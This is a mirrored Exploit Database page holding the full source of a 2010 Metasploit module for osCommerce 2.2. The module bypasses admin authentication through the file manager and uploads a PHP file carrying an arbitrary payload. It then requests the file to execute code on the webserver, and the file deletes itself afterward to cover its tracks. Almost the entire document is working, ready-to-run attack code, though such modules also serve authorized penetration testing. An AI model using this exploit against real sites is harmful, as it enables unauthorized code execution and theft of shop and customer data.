osCommerce 2.2 – Arbitrary PHP Code Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16899/

• ##
  # $Id: oscommerce_filemanager.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
  			'Description'=> %q{
  					osCommerce is a popular open source E-Commerce application.
  				The admin console contains a file management utility that
  				allows administrators to upload, download, and edit files.
  				This could be abused to allow unauthenticated attackers to
  				execute arbitrary code with the permissions of the
  				webserver.
  			},
  			'Author' => [ 'egypt' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'OSVDB', '60018' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/9556' ]
  				],
  			'Privileged' => false,
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Payload'=>
  				{
  					'Space' => 4000,
  					# max url length for some old versions of apache according to
  					# http://www.boutell.com/newfaq/misc/urllength.html
  					'DisableNops' => true,
  					#'BadChars'=> %q|'"`|,# quotes are escaped by PHP's magic_quotes_gpc in a default install
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  					# Since our payload is uploaded as a file, it is polite to
  					# clean up after ourselves.
  					'Prepend' => "unlink(__FILE__);",
  					'Keys'=> ['php'],
  				},
  			'Targets'=> [ ['Automatic', { }], ],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 31 2009'
  			))
  
  		register_options(
  			[
  				OptString.new('URI', [ true,"Base osCommerce directory path", '/catalog/']),
  			], self.class)
  
  	end
  
  	def exploit
  		# Our filename gets run through basename(), so we can have arbitrary
  		# junk in front of slashes and it will get stripped out. The unlink in
  		# Payload => Prepend above ensures that the file is deleted.
  		filename= rand_text_alphanumeric(rand(5)+5) + "/"
  		(rand(5)+5).times do
  			filename << rand_text_alphanumeric(rand(5)+5) + "/"
  		end
  		filename << rand_text_alphanumeric(rand(5)+5) + ".php"
  
  
  		p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
  		p = Rex::Text.uri_encode(p)
  		data = "filename=#{filename}&file_contents=#{p}"
  
  		print_status("Sending file save request")
  		response = send_request_raw({
  			'uri'	=> datastore['URI'] + "admin/file_manager.php/login.php?action=save",
  			'method'=> 'POST',
  			'data'=> data,
  			'headers' =>
  			{
  				'Content-Type'	 => 'application/x-www-form-urlencoded',
  				'Content-Length' => data.length,
  			}
  		}, 3)
  
  		# If the upload worked, the server tries to redirect us to some info
  		# about the file we just saved
  		if response and response.code != 302
  			print_error("Server returned non-302 status code (#{response.code})")
  		end
  
  		print_status("Requesting our payload")
  		# very short timeout because the request may never return if we're
  		# sending a socket payload
  		timeout = 0.1
  		response = send_request_raw({
  			# Allow findsock payloads to work
  			'global' => true,
  			'uri' => datastore['URI'] + File.basename(filename)
  		}, timeout)
  
  		handler
  	end
  end